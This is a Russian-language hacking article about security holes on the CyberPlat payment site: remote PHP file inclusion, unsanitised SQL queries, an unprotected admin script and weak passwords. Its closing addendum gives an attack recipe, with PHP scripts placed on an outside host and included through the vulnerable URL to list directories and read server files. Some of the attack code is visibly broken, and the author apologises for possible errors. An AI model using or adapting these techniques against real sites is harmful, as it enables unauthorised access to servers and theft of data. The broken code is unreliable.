Два месяца назад, зайдя на сайт
платежной системы CyberPlat и немного побродив
по нему я нечаянно (честно-честно я не хотел)
в запрос http://www.cyberplat.ru/megafon/main.php?p=1
вместо "1" вставил "Xakup". И что же
получилось? А получилось: Warning: Failed opening ‘XAkup.php’
for inclusion. Тут я страшно испугался, решив что
поломал cyberplat и что больше так не буду. О чем
и сообщил на все мыла, которые встретил на
сайте в разделе "контакты", в том числе
и в их отдел безопасности. Прошло 2 месяца,
захожу на их сайт, баг так и не исправили (письма
от них я тоже не получил). Решил покопаться в
кишочках сайта. Вот что я нашел там:

www.cyberplat.ru\megafon\

почти все php скрипты в этом разделе содержат
строки
<?
$p=$HTTP_GET_VARS["p"];
switch ($p){
case "1":$p="list_mobile";break;
case …. и.т.д.
}
include ("$p.php");
?>

Это есть, например, в www.cyberplat.ru/megafon/main.php и
www.cyberplat.ru/megafon/admin.php. Т.е. классический php
инклудинг так сказать… Но и других багов
тут немало. Например ВСЕ переменные,
которые передаются в sql запросы вообще
никак не проверяются и в результате
получается вот это:

[пример из файла station.php]
$id=$HTTP_GET_VARS["st"];
$query1="select * from $table where station_id=$id and done=1";

Еще один пример криворукости скриптмейкера
этого сайта (его имя и мыло указаны тут же
как гордое "//made by Andrey Alferov alferov@aport.ru"
вместе со строчкой "ВыбИрите отображение")
— в файле add_mts.php. Тут в базу добавляется
новый дилер, как я понял, но вот добавить
может любой, кто знает где этот скрипт лежит,
и какие переменные используются. Множество
неинициализированный переменных с
скриптах, например в grandsoftcity.php:

$query1="select * from $table1 where done=1";

table1 не инициализирована, что позволяет
изменить запрос.

И наконец система администрирования баз
данных сайта www.cyberplat.ru. Ее можно найти тут.
Нас просят ввести пароль, но как видно
дальше только для того, чтобы узнать урл
скрипта администрирования, сам то скрипт
никакие пароли не проверяет.

Кстати о паролях. Я конечно понимаю, что не
все в силах запомнить киргуду из хотя бы 8
символов, но ставить пароли, на доступ к
базе нужно посложнее чем "123456" и
"654321" как здесь. Единственный
нормальный пароль я встретил у рута, ну
может еще и на sql базу, и то потому, что эту
базу устанавливал рут, а не красноглазый
пионер, которому поручили web интерфейс.

Дополнение от димана:

Вот принцип их страниц с ПХП 
<html> 
…. 
<?php 
…. 
global $p; 
…. 
include ($p."php"); 
…. 
?> 
…. 
</html> 

А вот что вам надо было сделать: зарегить какой-нить сайт, да хоть на народе, поддержка серверных скриптов нам не
нужна, закачать туда маленький файлик! 

test.php 
___________________________________ 
global $dir; 
$handle=opendir($dir); 
echo «Файлики:\n»; 
while ($file = readdir($handle)) { 
echo «$file\n»; 

closedir($handle); 
__________________________________ 

А вот скриптик для чтения содержимого фала в том числе и
серверных скриптов 

test2.php 
__________________________ 
global $fn; 
lines = file($fn); 
for($i=0;$i<count($fn);$i++){ 
echo $fn.»\n»; 

__________________________ 

Допустим мы зарегили себе хостинг testtesttest.narod.ru. Берём и в наглую закачиваем
туда в коневой каталог файлик test.php. После заходим по ссылке 

http://www.cyberplat.ru/megafon/main.php? p=http://testtesttest.narod.ru/test.php&dir=<нужная директория> 

и наш скриптик будет выдавать нам все файлики каталога! 
А вот так можно получить содержимое файлика! 

http://www.cyberplat.ru/megafon/main.php? p=http://testtesttest.narod.ru/test2.php&dir=<имя нужного файлика> 

Вот и весь хак, я конечно извиняюсь за возможные ошибки в коде.

Оставить мнение